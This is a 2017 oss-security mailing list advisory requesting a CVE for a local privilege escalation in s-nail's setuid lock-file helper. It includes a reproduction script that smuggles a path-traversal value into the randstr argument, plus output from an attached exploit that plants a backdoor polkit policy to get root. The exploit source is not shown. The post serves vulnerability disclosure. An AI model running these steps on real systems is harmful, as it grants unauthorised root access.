Date: Fri, 27 Jan 2017 22:03:00 +0100 From: wapiflapi <wapiflapi@...oo.fr> To: oss-security@...ts.openwall.com Cc: Steffen Nurpmeso <steffen@...oden.eu> Subject: CVE Request: s-nail local root Hi, s-nail fixed a local root. This affects archlinux by default and other linux distros' packages (eg. ubuntu). Can we get a CVE for this ? https://firstname.lastname@example.org/msg00551.html Here is the advisory: Affects ======= S-nail (later S-mailx) is a mail processing system. It is intended to provide the functionality of the POSIX mailx command. It is installed by default on archlinux and is pulled in on ubuntu whenever mailx is needed. It might be used elsewhere. There is a vulnerability in the setuid root helper binary s-nail uses to handle lock files: - archlinux: /usr/lib/mail-privsep - ubuntu: /usr/lib/s-nail/s-nail/privsep Reproducing the issue ===================== The problem is that an O_EXCL file is created with a user controlled path because the di.di_hostname and di.di_randstr are never checked. This means that using s-nail-privsep a normal user can create a file anywhere on the filesystem, which is a security problem. The command is very picky about it's arguments. Here is an example script setting up the bug. This runs the setuid binary under strace so we can see the call to open() that we control followed by a call to fchown() giving us ownership. ``` # On archlinux it should be: /usr/lib/mail-privsep PRIVSEP=/usr/lib/s-nail/s-nail-privsep; # Some setup to get the directory traversal working. touch /tmp/foo mkdir -p /tmp/foo.lock.spam.eggs cd $(dirname $PRIVSEP); PATH=$PATH:. # argv must be just the name. # stdin & stdout must be pipes ! echo | strace -f $(basename $PRIVSEP) rdotlock \ mailbox /tmp/foo name /tmp/foo.lock \ hostname spam randstr eggs/../../../../../../../tmp/test \ pollmsecs 0 |& grep -E "foo\.lock\.spam\.eggs|chown"; ``` Security Impact =============== This issue can be leveraged by any logged in user to gain full root privileges. To exploit this we have to win a race condition and find a way to leverage the ephemeral file. We achieve this by adding a polkit policy and using pkexec su. A functional exploit is attached :-) Should look like this: ``` $ id uid=1000(wapiflapi) gid=1000(wapiflapi) groups=1000(wapiflapi)[...] $ ./s-nail-privget /usr/lib/s-nail/s-nail-privsep [=] s-nail-privsep local root by @wapiflapi [+] Started flood in /usr/share/polkit-1/actions/backdoor.policy [+] Started race with /usr/lib/s-nail/s-nail-privsep [=] This could take a while... [/] wait for it: done root@box:~# id uid=0(root) gid=0(root) groups=0(root) ``` If the system doesn't have pkexec there are other ways to get root access from this. (`at` and `crontab` files come to mind.) The exploit is a bit slow (20s?), it's probably possible to be smarter about the race, but it's a poc ! ;-) Also if testing in a VM, having more than one cpu core helps a lot. Issue Timeline ============== discovery: 26/01/2016 disclosure: 27/01/2016 vendor fix: 27/01/2016 Regards, Wannes `wapiflapi` Rombouts View attachment "s-nail-privget.c" of type "text/x-csrc" (5025 bytes)
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